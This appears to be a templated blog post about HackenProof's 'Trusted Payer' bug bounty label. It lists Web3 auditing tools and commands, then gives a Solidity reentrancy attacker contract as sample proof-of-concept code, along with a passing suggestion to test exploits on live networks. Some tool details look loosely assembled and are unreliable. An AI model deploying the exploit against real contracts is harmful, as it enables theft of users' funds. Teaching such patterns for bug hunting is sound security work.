Bug bounty platforms like HackenProof help security researchers earn rewards by identifying vulnerabilities in Web3 and blockchain projects. The newly introduced 🟢 Trusted Payer label ensures researchers can confidently participate in programs that have a proven history of paying bounties fairly.

You Should Know: How to Maximize Earnings in Bug Bounty Programs

1. Verify Program Credibility

  • Check for the Trusted Payer label before submitting reports.
  • Research past payouts using blockchain explorers (e.g., Etherscan for Ethereum-based bounties).

2. Essential Tools for Web3 Bug Hunting

 Install Web3 security tools 
git clone https://github.com/crytic/slither.git 
cd slither && pip install . 
slither <contract_address> --truffle-version <version> 

 Smart contract fuzzing with Echidna 
docker pull trailofbits/echidna 
docker run -v $(pwd):/code trailofbits/echidna echidna-test /code/contract.sol

3. Common Vulnerabilities in Web3

  • Reentrancy attacks
  • Oracle manipulation
  • Front-running (MEV exploits)
  • Use Mythril for automated detection: 
    myth analyze <contract>.sol --solv <compiler_version>

4. Submitting a High-Quality Report

  • Include Proof of Concept (PoC) code: 
    // Example: Reentrancy exploit 
contract Attacker {
Victim public victim;
constructor(address _victim) { victim = Victim(_victim); }
function attack() external payable {
victim.deposit{value: msg.value}();
victim.withdraw();
}
receive() external payable {
if (address(victim).balance >= 1 ether) {
victim.withdraw();
}
}
}

5. Tracking Payouts

  • Use Etherscan or BscScan to verify transactions: 
    curl "https://api.etherscan.io/api?module=account&action=txlist&address=<bounty_wallet>&apikey=<YOUR_KEY>"

What Undercode Say

Trusted bug bounty programs reduce the risk of unpaid rewards, but researchers must still:
– Audit contracts manually alongside automated tools.
– Monitor gas fees when testing exploits on live networks.
– Use private testnets (e.g., Ganache) to avoid unnecessary costs.

Expected Output:

  • A list of Trusted Payer programs on HackenProof.
  • A verified PoC for a critical vulnerability.
  • Confirmed payout transactions on a blockchain explorer.

Prediction

More platforms will adopt trust badges to attract top researchers, while AI-driven vulnerability scanners (e.g., Semgrep for Solidity) will streamline bug hunting.
